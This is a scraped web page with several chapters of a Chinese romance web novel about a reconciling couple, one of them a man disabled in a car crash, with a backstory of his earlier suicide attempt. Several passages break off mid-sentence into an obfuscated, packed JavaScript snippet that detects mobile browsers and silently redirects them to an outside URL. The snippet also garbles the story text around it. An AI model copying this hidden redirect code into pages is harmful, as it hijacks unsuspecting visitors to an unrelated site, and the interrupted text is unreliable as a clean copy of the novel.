来的路上裴昶有些心悸,胸口闷闷的,说不上是哪里不舒服,此刻正靠在座位上闭目养神。 刚听到点声响准备睁眼,就感受到一股温热扑进了他的怀中。 “裴明彻。”宋知蕴大声叫他。 裴昶被他撞得的有些难受,迅速调整呼吸,试图让自己看起来面色如常。 宋知蕴有些不太舒服,调整坐姿,往他的位置靠近了两寸。 裴昶怕她重心不稳,伸出没扎留置针的手,放在她后背轻轻护着。 四目相对。 裴昶见她面色潮红,没忍住,开口:“芝芝,下次少喝点酒。” 宋知蕴听他苦口婆心的语气,心里不是滋味。 他要是真不在意,怎么可能来这么快,于是气鼓鼓的说:“你又不是我男朋友,怎么还管上我了?” 裴昶垂眸,眼睫低低地覆下来,在眼下落了一片小小的阴影。 他没有说话,眼神中透着些落寞。 宋知蕴定定地看他,见裴昶目光躲闪,不知怎的气不打一处来。 她想着想着,忽然觉得眼眶发酸,泪水沾湿了睫毛,顺着脸颊落下。 裴昶抬眸,见她吸了吸鼻子,声音有些哽咽:“裴明彻,正好我好缺一位男朋友管我,我们复合好不好?” 宋知蕴没再说话,就这样直勾勾望着他的眼睛。 裴昶有些讶异,喉结上下滚动了一下,迟疑了几秒,还是决定开口。 他正想说什么,就被宋知蕴无情的打断。 “你闭嘴!”宋知蕴想都不想都知道他要说什么,“嘘。”她把手放在裴昶唇边,比了个噤声的动作。 “我上次已经说过了,我真的部在乎。”她的声音越来越小,好像做了什么亏心事似的,垂下眼睛不敢看她。 裴昶也没回他,气氛就这么僵持着。 宋知蕴终究没耐住性子,率先打破了沉默。 “苏衡哥。” “怎么了?”正在专心开车的人从后视镜里瞥了她一眼。 “可不可以放点歌听听?”宋知蕴觉得这样实在安静的可怕。 “行。”苏衡调试着,不一会随着车载音响里传出的歌声,气氛终于被烘托得不再那么尴尬。 也不知过了多久,一旁沉默的人终于开口:“你到底喜欢我什么,喜欢我身体不好,还是喜欢我腿有残疾?” 裴昶转过头看她,边说着边拍了拍膝盖,声音平静得像在说一件与自己无关的事情。 宋知蕴没想到他会说出这种话,一时间又气又心疼,“裴昶,你就算要拒绝我,也没必要这么贬低自己吧。” 她忽然觉得自己像咄咄逼人的恶人,非要把他逼到墙角,逼得他连这种话都说得出口。 话说完,刚刚没止住的眼泪又涌了上来,她吸了吸鼻子,抽泣声在车厢里显得格外清晰。 裴昶见状心脏有些抽疼,低声安慰道:“小祖宗,别哭了,好不好?” 宋知蕴没有躲,任由裴昶抬起左手,擦掉她脸上的泪水。 抽泣声渐渐止了,裴昶的喉结滚了滚,轻叹了声,开口:“芝芝,我说的是实话。” 他顿了几秒,继续说:“我的病例你也看过了。说实话,那场车祸对我影响很大。就算已经过去五年时间,还是避免不了各种各样的后遗症。那天之后,我再没有考虑过恋爱或是结婚的事。我并不认为,我目前的状况能给我的另一半她想要的生活。” 他看着她,努力让自己平静下来,一字一句地把后面的话说出来:“我免疫力不好,很容易生病。如果我们真的在一起,你忙了一天好不容易下班回家,还要照顾我。如果哪天我腿伤犯了,我可能连自己走路都做不到,更不要说抱你。我的身体不允许我去游乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好。”他思考了会,郑重地开口,“你挑食、胆子太大、心软、藏不住事、还有……你也一样执拗。” 裴昶话音刚落,宋知蕴几乎抢着开口:“你看,人无完人。” “裴明彻,我们彼此都有那么多缺点,算不算是天生一对呢。” 裴昶被宋知蕴鬼头鬼脑的模样逗笑了,笑着摸摸她的发顶:“我们芝芝怎么就那么死脑筋呢?世界上比我好的人多了去了,你这样是不是准备要在我这棵树上吊/死。” 宋知蕴笑眯眯地看着他。 车载音响里的歌一首接一首地换着,此刻某首歌的旋律正在车厢中环绕。 “我终于明白,对你的爱,绝不可能更改。①”是林俊杰的《一生的爱》。 歌词一字一句传到裴昶的耳朵里,他心上那层坚硬的外壳一下下被敲击着,有了裂缝。他知道,自己动摇了。他想克制那股冲动,却怎么也压不下去。 车里的歌还在播放着,他放弃挣扎,任由那层外壳彻底破碎、瓦解,露出里面柔软的心脏。 宋知蕴见他脸上的表情有些变化,鼓起勇气再一次开口问他:“裴明彻,重新在一起,好不好?” 车窗外的路灯一盏盏掠过,光影在两人脸上明明灭灭地交替。 车厢里安静了几秒,只剩下那首歌还在循环着副歌的尾声。 裴昶转过头,看着她的眼睛,轻声给出了承诺:“好,等我。” 15. “嫂子好!” 车载音响里的歌曲还在播放着,只是声音被调小了些。 车后座,宋知蕴得到想要的回应后,整个人似乎放松了许多。许是酒精作祟困意上头,她不自觉地合上了眼睛,脑袋轻轻一歪,安稳地靠在了裴昶肩头,呼吸渐渐变得绵长均匀。 裴昶感受到了肩头的温热重量,微微转头,望着一旁睡得正熟的人,唇角不自觉地弯起一抹柔和的弧度。 他怕把人吵醒,保持着这个姿势没有说话,另一只手从上衣口袋里拿出手机,指尖轻敲,快速发了一条信息。 对方几乎是秒回,一个满是疑惑的表情刚弹出来,视频通话邀请便紧跟着跳了出来。裴昶随手挂断,下意识又瞥了眼身侧的人,见她依旧睡得沉,丝毫没有被吵醒的迹象,才暗暗松了口气。 「回去说。」他又敲了几个字。 「好。」那头应下后,没再发来任何信息。 裴昶家与乐巢不在同一区,车子驶入华澜君庭时,时间已近凌晨一点。车灯扫过门口,一道身影渐渐清晰。 裴昕玥快步迎了上来,径直停在后座车门外,抬手轻轻敲了敲车窗。 车窗缓缓降下,裴昶靠在椅背上,抬眸看向她。 “哥。” “嗯,东西带了吗?”裴昶压低了音量小声询问。 “带了。”她嘟囔着应了一声,心里直犯嘀咕——也不知道她哥吃错什么药了,大晚上没头没尾地发了条信息,让自己带卸妆油、护肤品和睡衣来家里。本来想打个视频了解一下什么情况,视频通话还没播出两秒,就被无情地拒绝了。 明明白天烧的那么厉害,现在居然从医院乱跑出来,也不知道这是闹得哪一出。 裴昕玥顺着视线往下看,只见裴昶的右手轻放在座位上,手背上还露着一截固定好的留置针,心头顿时一紧,抬眸对上裴昶的眼睛,正要开口:“你最近病成那样,怎么……” 她声音稍大,裴昶立刻蹙了下眉,抬起右手对着她比了个噤声的手势,不动声色地打断了她未说完的话。 裴昕玥瞬间闭了嘴,满眼困惑地望着他,只敢夸张地对着口型,无声地问:“怎么了? 裴昶没有答话,只是微微侧身,朝身旁递了个眼神。 车内未开灯,光线昏暗,裴昕玥先前压根没注意到还有第二个人。她顺着裴昶的视线望过去,这才看清,原来有个人正安安静静靠在他肩上。 裴昕玥讶异又好奇,车内能见度有限,她只能看清一个柔和的侧脸轮廓。 自那次事故之后,裴昶受了重创,渐渐疏远了社交圈,更别提谈恋爱。这几年她一度以为哥哥打算一辈子不婚,自己也曾劝过好几次,得到的也都是“暂时不考虑”的答复。 没想到啊,她哥这棵万年铁树总算要开花了。 裴昕玥挑了挑眉,满心期待地等着看哥哥接下来的动作。 裴昶思索了几秒,对窗外的人道:“含章,帮我从后备箱把轮椅拿下来。”连日阴雨,无异于给他的身体雪上加霜,不仅浑身乏力,腿上旧伤也隐隐作痛。纵使他向来不愿显露这般无力的模样,此刻也不得不妥协。 “好。”裴昕玥的动作很快,三两下就取下了轮椅,将它展开,然后稳当当放在后座门前的空地上,摆好。 裴昶没有立刻开门,目光温柔地落在身旁熟睡的人身上,转头对驾驶座的苏衡道:“苏衡,知蕴就麻烦你了。” 他心头五味杂陈,满是自责与无力。换作从前,这点小事根本无需假手于人,可如今这副身体,状态好时尚且勉强,遇上今晚这般情形,终究是心有余而力不足。 苏衡的动作很快,三两下就解开安全带下了车。这会儿已经打开车门,弯腰准备抱宋知蕴下车。 裴昶面上没什么表情,就这么静静地坐在车上看着。 宋知蕴本就睡得浅,苏衡的指尖刚碰到她后背,她便有了醒转的迹象,她微微动了动,下意识往裴昶怀里蹭了蹭,像只贪恋暖意的小猫。 裴昶望着她依赖的模样,唇角抑制不住地往上扬了扬,心头软得一塌糊涂。他抬眼看向车外,苏衡的手僵在半空,进也不是退也不是,一脸无措地望向他,等着指示。 “抱吧。”裴昶轻声开口,目光又落回怀中人身上。 “好。”苏衡点点头,再次小心翼翼地靠近。 好不容易调整好姿势,正要将人抱起,宋知蕴却缓缓睁开了眼。 她迷迷糊糊地醒过来,意识还未完全清醒,含糊地轻唤了一声:“裴明彻。”声音软糯,带着未散的酒意,字与字间都黏在一起。 “醒了?”男人想也没想就应她。 “嗯。”宋知蕴皱了皱鼻尖,抬手随意抓了抓额前碎发。 “头还疼吗?”他声音中的关切再明显不过。 “好多了。现在是……到了吗?”车子丝毫没有行进的晃动感,大抵是已经停下。 “嗯。苏衡刚要抱你下车,你就醒了。”宋知蕴丝毫没有要离开他怀里的意思,裴昶也由着她,依旧保持着原来的姿势,分毫未动。 宋知蕴顺着他的目光转头,这才看见站在车门外的苏衡,脸颊微微一热,有些不好意思地朝他笑了笑:“不好意思啊苏衡哥,今晚麻烦你了。” “没事,人没事就好。”苏衡向来把她当妹妹看,对此半点不介意。他看着两人亲昵相依的模样,心里暗自欣喜——兜兜转转五年,总算守得云开见月明,作为一路看过来的人,是真心为他们高兴。 宋知蕴正要从裴昶怀里直起身,余光忽然瞥见半降的车窗外面,还站着一个女生。那人没说话,只笑意盈盈地望着她。 她一时有些茫然,缓缓转过上半身,与窗外的人四目相对,不知该如何开口,只能尴尬地轻轻笑了笑。 脑海里快速回想,却丝毫没有关于对方的印象,她偏过头,看向裴昶,无声求助。 没等她开口,窗外的人先主动打破了沉默:“我叫裴昕玥,是裴昶的妹妹。” 她说话的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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一旁的宋知蕴却是第一次见到他们兄妹这般相处模式,听着裴昕玥句句带损却又满是关心的话,再配上她那副理直气壮的小表情,实在没忍住,低低笑出了声。 “你要是敢把我嫂子气跑,下次我见妈的时候,一定跟她好好告状!”裴昕玥嘟着嘴,一本正经地警告。 “好好好,我知道了,小管家婆。”裴昶笑着应下,任由她数落。 “这还差不多嘛。”裴昕玥满意地点点头,又转向宋知蕴,“嫂子,他要是敢凶你,你尽管跟我说,我铁定站你这边,帮你教训他!” 宋知蕴被她逗得哭笑不得,顺着应道:“有你撑腰,你哥肯定不敢乱来。” “那是自然!我可是你们的专属爱情保安。”裴昕玥俏皮的眨了眨眼睛,朝宋知蕴大大方方地笑着。 裴昶见她总算消停,才缓缓开口:“交代好了?” “嗯!饶你一回。” 话音落下,他抬手轻轻替宋知蕴拢了拢耳边散落的碎发,指腹不经意擦过她微烫的脸颊。指尖轻轻拂过她的发顶,他目光始终停在她脸上,声音放得更轻,带着安抚:“累了吧,先进去睡会儿。” 16. “你们……会复合的,对吧?” 一向骄…… 宋知蕴闻言下了车,脚步还有些虚浮,踉跄着晃了一下才勉强站稳。 一旁的苏衡眼疾手快,连忙伸手扶住她的胳膊,语气里带着几分真切的关切:“小心点,慢些走。” 宋知蕴没敢走太快,这会儿也只和车子拉开了一小段距离,寒风一吹,她下意识地缩了缩肩膀。 另一边,裴昶刚在裴昕玥的搀扶下坐稳轮椅。 轮椅是电动的操作起来不用费什么力气,裴昶指尖轻轻碰了碰操纵杆,确认轮椅运转正常。 凌晨的风裹着冬日的寒意,毫无预兆地席卷而来。宋知蕴后脑的发丝被风吹得微微扬起,贴在颈侧。她今天穿了一身加厚的冬裙,肩上只披了件薄薄的披肩。身旁的人见风势渐大,关切地开口询问:“冷不冷?要不把我这件衣服披上?” 苏衡也注意到她肩头的薄披肩挡不住风,眉头微蹙,当即就伸手去解自己身上的外套扣子,打算脱下来给她披上。 “不用了,苏衡哥。”宋知蕴连忙摆了摆手,语气温和又带着几分客气,“我挺抗冻的,而且咱们这就快进门了,不用这么麻烦你。”她心里过意不去,不想再麻烦苏衡。 不远处的裴昶,目光一直落在宋知蕴的背影上,眼神发怔。 裴昕玥站在他身侧,将他眼底的情绪看得一清二楚。 两人好一阵没说话,周围静得能听见电动轮椅划过路面的轻响。 裴昕玥陪着他漫无目的地望着宋知蕴的方向,过了许久才缓缓收回思绪,转过头看向身侧的裴昶,语气放得柔和了些。 “哥。”她轻轻唤了一声,声音不大。 “嗯?怎么了?”裴昶闻声,松开操纵杆,彻底停下轮椅。他微微抬起头,目光落在裴昕玥脸上。 裴昕玥迎上他的目光,心里泛起一阵复杂的情绪。 她顿了顿,开口:“你和嫂子现在是什么情况?你们……会复合的,对吧?”裴昶这五年怎么熬过来的,自己比谁都清楚,若是他能真正走出来,认认真真地生活,她是打心底里替他高兴。 “会的,含章。”裴昶的语调软了几分,拉过裴昕玥的手,轻轻拍了拍她的手背。 裴昕玥听到他肯定的答复,悬了许久的心终于落了下来,她微微扬起嘴角,眼眶却莫名有些酸涩。 “哥,谢谢你。”谢谢你,能走出来,裴昕玥想着。 就算已经过去了五年,裴昶出事时的画面,依旧刻在裴昕玥的脑海里挥之不去。 她亲眼看着自己的哥哥浑身是血的被推进手术室。 医生拿着病危通知书让她签字的时候,她的手控制不住地发抖,浑身发软,差点晕过去。 裴昶在手术台上待了整整十个小时,好不容易才完完整整地被推出来。 却因为伤势过重,自主呼吸困难,直接被送进了ICU,插上了呼吸机。 裴昕玥至今都能清晰地回忆起,自己第一次去ICU探视,看见裴昶躺在病床上身上插满了各种管子模样,她的心像被揪着一样疼。 那时候,她不止一次在心里质问,为什么坏事总是接二连三地降临在他们家。爸妈先后离世,只留下她和裴昶相依为命,难道上天真的要这么残忍,连她最后一个亲人都要夺走吗? 那些日子,裴昕玥整日郁郁寡欢,却又逼着自己像个正常人一样吃饭、睡觉,生怕自己在裴昶醒来之前先一步倒下。 就这样煎熬了将近半个月,裴昶终于转到了普通病房,清醒的时间也越来越长。 他异常平静地接受了自己可能再也站不起来的事实,配合医生做康复训练。 裴昕玥还记得自己跟着去看过两次复健,之后就再也不敢踏足复健室。 她看着裴昶扶着助行器,额头上布满了冷汗,每走一步都异常艰难,自己的心一抽一抽地疼。 她实在没忍住,只能跑到复健室门外偷偷抹眼泪。 有一次,她哭完还没来得及整理好情绪,裴昶就结束了复健。 他看到她脸上未干的泪痕,没有拆穿。只是放缓了语气,耐心地安慰了她很久,说自己不疼,让她不要担心。 日子一天天过去,裴昶的身体状况渐渐稳定下来,精神也好了很多,已经能够有精力处理事故的后续事宜,还有公司里堆积的工作。 裴昕玥看着他慢慢好转,心里庆幸着一切都在慢慢变好。 可她没想到,现实又给了她重重一击。 那天,她正坐车往医院赶,手里还提着给裴昶熬的粥。 手机突然响了,是医院的医生打来的。 当医生在电话那头告知她,裴昶在病房里割/腕自/杀的消息时,裴昕玥的脑袋“轰”的一声,瞬间一片空白。 电话那头,医生还在不停地说着什么,叮嘱她尽快赶到医院,可她一句也听不清。 她只记得自己下意识地胡乱应了两声,匆匆挂断电话,声音带着哭腔催促司机加速。 怎么会?怎么会这样?明明一切都在变好,她以为裴昶真的坦然接受了这突如其来的变故。 他明明那么配合治疗,甚至还会反过来开导她、安慰她,怎么会突然选择自杀? 裴昕玥无论如何都无法相信,一向骄傲、无所不能的哥哥,有一天会割/腕自/杀。 她一路哭着赶到医院时,医生已经替裴昶处理好了伤口,裴昶的伤口很深,万幸的是没有伤到神经,再晚发现一点,就真的回天乏术了。 后来,裴昕玥找医生详细了解了裴昶的情况。 医生告诉她,裴昶会轻生,大概率是因为事故带来的重大变故,让他产生了严重的抑郁倾向。 是啊。就因为她哥哥从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482908|201852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小到大都那样优秀,于是自己把他想的无所不能,甚至下意识的就以为这么大的打击裴昶可以轻而易举的就接受。她习惯了他的保护和安慰。觉得无论遇到什么困难,只要有他在,她就什么都不用怕。甚至下意识地就以为,这么大的打击,他也能轻而易举地承受。 可她忘了,裴昶也会疼,也会绝望。其他人摔一跤、碰一下都会叫苦不迭,何况他受了这么重的伤。他喜欢打球、滑雪、赛车,可是他的腿现在变成了这样,一时半会要他怎样接受? 裴昶第二天醒来时,兄妹两聊了很久。 “哥,对不起。我,是我没考虑到你的感受。”裴昕玥带着哭腔,眼泪大滴大滴地往下砸。 裴昶勉强勾起唇角,伸出右手轻抚她的脸颊,“不是你的问题,含章。是我自己没办法接受,是哥的错。”他身上的伤还没痊愈,一时半会用不上力,说话有些虚弱。 听了裴昶的话,裴昕玥的眼泪流得更凶了。 她紧紧攥着裴昶的手,泣不成声地说:“哥,我就剩下你一个亲人了,如果没有你我该怎么办?” …… 那天以后,裴昶像是被裴昕玥说动了,开始积极配合治疗,主动找心理医生做疏导,不让抑郁的情绪再继续恶化下去。 就这样,经过了几年的治疗和疏导。两年前,裴昶的抑郁症终于稳定下来,再也没有复发的倾向, 可这件事情,无论过去多久,依旧是裴昕玥心里的一个疙瘩。 每次想起那天的场景,她都会后怕。 如今,宋知蕴的出现来就像是一根定海神针。 至少,除了她之外,裴昶又多了一个在乎的人,多了一个值得他好好活下去的理由。 裴昶看着裴昕玥出神的模样,心中隐隐有了些猜测。 于是轻轻拍了拍她的手,柔声说:“含章,五年前的事不会再发生了。等追回你嫂子以后,我还盼着参加你和你爱人的婚礼呢。” 裴昕玥回过神来,抬手抹了抹脸上的泪痕。她吸了吸鼻子,用力点头,眼底的阴霾渐渐散去,又恢复了往日的活泼模样,“嗯!说不定你妹妹我,还能找到一个比你更优秀更帅的男朋友,到时候可不准生气哦。” 裴昶被她逗得笑出声,宠溺地摇了摇头,“好,等你把人带回家,我给你们包大红包。” “多少钱的大红包?是能厚度能媲美板砖的那种吗?”吃了裴昶给的定心丸,裴昕玥彻底放松下来,凑到他身边顺着话往下追问。 “等你真把人带回来,红包钱你想要多少就多少,要是实在包不下,我就给你一张卡,好不好?”他就裴昕玥这一个妹妹,自然是把她捧在掌心里宠。 “我就知道还是哥你最疼我了。”裴昕玥眉眼弯弯,往裴昶的方向又靠近了半步,伸手拉住他的胳膊,轻轻晃了晃。 17. “裴明彻,你的手怎么这么烫?” 裴昶家的装修风格和宋知蕴想象中不太一样。家里没有那些繁复的装饰,整体色调以灰白为主,走的简洁现代风。客厅的落地窗很大,透过窗户还能看见外面庭院里的几棵银杏树。 “嫂子,这边走。”裴昕玥熟门熟路地带着宋知蕴进门。 随后,裴昶的轮椅稳稳停在玄关处。他抬眼看向苏衡:“时间不早了,苏衡,你先回去休息吧。” 苏衡下意识蹙起眉头,目光扫过他略显苍白的脸色:“明彻,你现在身体还没恢复,我留下来照应吧,万一……” 裴昶今晚本就发着烧,还执意从医院跑出来接人,他实在放心不下。 裴昶微微点头,语气温和:“好,麻烦你了苏衡。你先去客房歇着,有需要我再叫你。” “客气什么,有事一定要叫我。” “知道了。”裴昶应下,看着苏衡转身走进客房,才收回目光。 宋知蕴站在一旁,眼神软软地看着裴昶。 裴昶心头一软,看向裴昕玥道:“含章,带芝芝去我卧室,帮她卸个妆、换身衣服。她喝了酒,别折腾她。” “放心吧哥,保证把嫂子照顾得妥妥帖帖!”裴昕玥俏皮地眨了眨眼,上前轻轻挽住宋知蕴的胳膊。 宋知蕴脸颊微微发烫,被她挽着往前走,小声应道:“麻烦你了。” “不麻烦不麻烦,你小心台阶,扶手在这边。”宋知蕴的酒意还没完全散去,脚步有些虚浮,裴昕玥放慢了脚步,生怕她不小心踩空。 二楼的主卧门半开着,裴昕玥推门进去,顺手打开了灯。 暖黄色的光亮起来,照亮了整个房间。 卧室很大,风格简约低调,以深灰和米白色为主,空气里还萦绕着一股淡淡的雪松香气,是裴昶身上独有的味道。 “嫂子,你稍等我一下。”裴昕玥转身从包里拿出几样东西,“我哥让我给你带的卸妆油和护肤品,还有睡衣。这睡衣是全新的,我没穿过。” 宋知蕴还没来得及说话,就被裴昕玥推着往卫生间走:“来,我帮你卸妆,你喝了酒肯定没力气弄这些。” 温热的水流划过脸颊,裴昕玥动作轻柔地将卸妆油揉开,带走宋知蕴脸上的妆容。 “嫂子,你皮肤真好。”裴昕玥忍不住夸了一句,“平时用的什么护肤品啊?” 宋知蕴想了想,报了几个品牌的名字。 裴昕玥点点头,“我之前也听说莱珀妮的面霜不错,这下彻底被种草啦!” 她没停下手上的动作,边帮宋知蕴卸妆边继续往下说:“嫂子,我哥这些年除了工作就没别的心思,要不是今天见了你,我还以为他要一辈子单身了呢。我早就听苏衡哥说起你了,我哥把你看得可重了,当年……” 她顿了顿,怕提起往事惹宋知蕴难过,连忙改口,“反正你能回来,真的太好了。” 宋知蕴靠在洗手台旁,昏沉的脑袋清醒了几分,轻声道:“我也没想到,还能再见到他。” “我哥就是嘴硬,明明心里在乎得不行,还总说怕拖累你。”裴昕玥撇撇嘴,替自家哥哥抱不平,“嫂子,你可别跟他一般见识。” “我知道的。”宋知蕴唇角微微上扬,心里泛起甜甜的暖意。 裴昕玥帮她擦完脸,又从一旁拿出睡衣,“嫂子,你先换衣服,我在外面等你。” “好。”宋知蕴接过睡衣,看着裴昕玥走出房间,轻轻带上了门。 睡衣是丝质的料子,摸上去很软。待换好衣服,宋知蕴朝门外喊了一声:“好了。” 裴昕玥推门进来,见睡衣穿在宋知蕴身上还算合身,满意地点了点头。 “嫂子你赶紧上床躺着,我哥去给你煮醒酒汤了,一会儿就上来。”裴昕玥把她扶到床边,帮她掖了掖被角,“我先下去啦,不打扰你们二人世界。” 说完,她还不忘对着宋知蕴挤了挤眼睛,压低声音补了一句,“嫂子,你加油啊,赶紧把我哥拿下,我等着喝你们的喜酒!” 宋知蕴被她说得有些不好意思,轻轻“嗯”了一声,就见裴昕玥轻轻带上门,下了楼。 厨房里,裴昶正坐在轮椅上,在灶台前忙碌着。 为了行动方便,他已经脱下外套,将衣袖挽到了手肘处。手边放着刚煮好的醒酒汤。 裴昕玥走进厨房,看见他手背上露出来的留置针,眉头立刻皱了起来:“哥,你手上这个……” “没事。”裴昶顺着她的目光看了一眼,语气很淡,“明天回去再处理。” “你还没退烧吧?”裴昕玥伸手探了探他的额头,掌心触到滚烫的温度,立刻变了脸色,“你还在发烧!” “低烧而已,不碍事。”裴昶不以为意,继续将醒酒汤盛进碗里。 裴昕玥看着他这副云淡风轻的模样,实在拿他没办法:“你今晚非要从医院出来,就是因为嫂子?” 裴昶没有否认,端着碗转过身:“她喝多了,我不放心。” “你……”裴昕玥张了张嘴,想说点什么,最后还是咽了回去。 “行了,别担心。”裴昶腾出一只手,拍了拍她的肩膀,“我自己的身体我心里有数。” 裴昕玥叹了口气:“那你好歹把留置针藏好,别让嫂子看见了。她要是知道你发着烧从医院跑出来,肯定要着急。” 裴昶低头看了一眼手背上的留置针,用袖子遮了遮,“这样行吗?” “凑合吧。”裴昕玥撇了撇嘴,点头。 房间里很安静,宋知蕴躺在床上,脑袋枕着柔软的枕头,却没什么睡意。 没过多久,门外传来一阵敲门声。 “请进。”宋知蕴轻声开口。 房门被缓缓推开,裴昶端着一个白瓷碗走了进来,碗里盛着温热的醒酒汤。 他操纵着轮椅来到床边,把碗递到宋知蕴面前:“醒酒汤,趁热喝,会舒服一些。” 宋知蕴撑着身子坐起来,接过碗。隔着碗壁能感受到汤的温度刚刚好,并不烫嘴。 “慢点喝,别呛到。” 宋知蕴小口小口地喝着,汤味清甜,带着淡淡的陈皮香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482909|201852||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 喝下去后,她觉得昏沉的脑袋也清醒了不少。 醒酒汤很快就见了底,宋知蕴擦了擦嘴,把空碗递还给裴昶。 他伸手去接,指尖不经意间碰到了她的手。 宋知蕴察觉到他手心的温度不对,心里咯噔一下,瞬间清醒了大半。 她连忙抓住裴昶的手,掌心的滚烫透过皮肤传过来,她立刻蹙起眉头:“裴明彻,你的手怎么这么烫?你是不是发烧了?” 裴昶下意识想抽回手,却被她紧紧攥着:“没事,低烧而已。” “低烧?”宋知蕴不信,伸手探了探他的额头,那温度明显不正常,“你烧成这样还叫低烧?” 裴昶没说话,只是不紧不慢地把碗放到床头柜上。 宋知蕴顺着他的手臂往下看,目光瞬间定格在他右手手背露出的医用胶带上。 她瞳孔微缩,抓着他的手腕把袖子往上推了推。随着她的动作,留置针明晃晃地暴露在空气中,针头附近的皮肤还泛着淡淡的青紫。 宋知蕴声音有些发抖:“你住院了?” 裴昶想把手抽回来,但没敢用力,怕伤着她:“芝芝,你先松手。” “你先回答我。”宋知蕴抬起头看他,眼眶有些发红,“你是不是住院了?什么时候的事?” 裴昶看着她通红的眼眶,语气软了几分:“前两天的事了,不是什么大毛病。” “没什么大事?没什么大事你手上怎么会有留置针?”宋知蕴担心的要命,不自觉地拔高了些音调。 裴昶被她问得哑口无言,叹了口气道:“芝芝,我只是出差回来没休息好,身体有点吃不消。” “那今晚……”宋知蕴想到了什么,突然顿住了。 她对上裴昶的眼睛,思索了几秒重新开口,“你今晚是从医院直接赶过来的?” 见裴昶没有否认,宋知蕴的眼泪一下子就涌了出来:“你还在发烧住院,怎么不说?你还给我煮醒酒汤,都是我非要喝什么酒……”她越说越自责,眼泪止不住地往下掉。 “我没事,真的不难受。”裴昶看着心疼,温声安慰着,抬手替她擦眼泪。 “我现在陪你回医院。你的身体还没好,不能擅自跑出来这么久。”说着,宋知蕴就要掀开被子下床。 裴昶伸手轻轻按住她的肩膀,阻止了她的动作:“我在这里陪你。等你睡着了,我马上就回医院,好不好?” “可是你还在发烧……”宋知蕴看着他苍白的脸色,心里始终放心不下。 “我真的没事。”裴昶揉了揉她的头发,低声哄道。 宋知蕴吸了吸鼻子,声音闷闷的:“那你说话算话。” “好,我保证。”裴昶笑着点头,帮宋知蕴掖好被角,关上了床头的灯,“睡吧。”他轻柔地摸了摸宋知蕴的额头。 宋知蕴调整好姿势,拉住了裴昶正要放下的手,感受着他掌心的温度。裴昶便从轮椅上小心地挪到床沿坐下,安安静静地陪着她,直到她的呼吸渐渐变得均匀绵长,彻底睡熟。 18. “答应你的我什么时候食言过?” 宋知蕴是被窗帘缝隙里透进来的晨光晃醒的。 她迷迷糊糊地睁开眼,入目是陌生的天花板。房间里很安静,只有窗外偶尔掠过的鸟鸣。宋知蕴撑着身子坐起来,鼻尖还萦绕着淡淡的雪松香气。 她拿起床头柜上的手机,屏幕亮起的瞬间,看见微信置顶对话框里多了一条未读消息。 六点十二分。 「芝芝,我先回医院了。早餐我让含章准备了,她晚些给你送过去。」 宋知蕴盯着屏幕看了几秒,正准备打字回复,指尖碰到键盘的同时又一条消息弹了出来。 15Hz:「醒了记得吃早饭,别空腹。」 她嘴角不自觉地弯了弯,指尖快速地敲击键盘:「醒了。你怎么起这么早?烧退了吗?」 那头回得很快:「已经退烧了,不用担心。」 宋知蕴思索片刻,发了句:「好好休息~」 裴昶看到消息后回过来一个猫咪点头的可爱表情包,上面还用可爱的花体写着“嗯”字。 宋知蕴的目光在这段话上停留了片刻,依依不舍地退出了聊天界面。 正想关闭微信,就见屏幕底部的联系人图标多出了一个红点。 她点开一看,原来是裴昕玥发来的好友申请。验证消息写得直白又可爱:「嫂子!我是裴昕玥~快通过一下!」 宋知蕴笑了笑,点了通过。消息几乎是一秒就发了过来。 「嫂子早安!你醒啦?我哥走之前特地交代我要照顾好你,早饭我准备好了,你是下来吃还是我给你端上去?」 宋知蕴打字:「我下去吧,不用麻烦你。」 「不麻烦不麻烦!那我等你~」 宋知蕴掀开被子下床,快速地洗漱完换好衣服,推门走出卧室。 楼梯还没走完一半,就见裴昕玥站在餐厅里摆放碗筷。 她听见动静抬头朝宋知蕴笑了笑:“嫂子!快来,粥刚盛出来,还热着呢。” 餐桌上摆着白粥、几碟小菜,还有一笼蒸饺。 裴昕玥拉开椅子让她坐下,“粥是我哥走之前熬好的,我负责热了一下。” 宋知蕴看着桌上温热的早餐,脑海里浮现出裴昶在厨房里熬粥的场景。 “你哥……什么时候走的?”她舀了一勺粥,轻声问。 “大概六点多吧。”裴昕玥坐到对面,托着下巴想了想,“他走之前把粥熬上,又交代了我几句才离开的。” 宋知蕴点点头,没有接话。 裴昕玥往嘴里送了两口粥,犹豫了一下,开口:“嫂子,我哥跟你说了吗?他……” “说什么?”宋知蕴抬起头。 裴昕玥咬了咬嘴唇,似乎在斟酌措辞。 几秒后她深吸一口气,好似下定了什么决心:“他明天要动手术。” 宋知蕴手里的勺子顿住了,粥沿着碗壁滑回碗里,发出细微的声响。 “什么手术?”她从没听裴昶提起过,心里有些震惊。 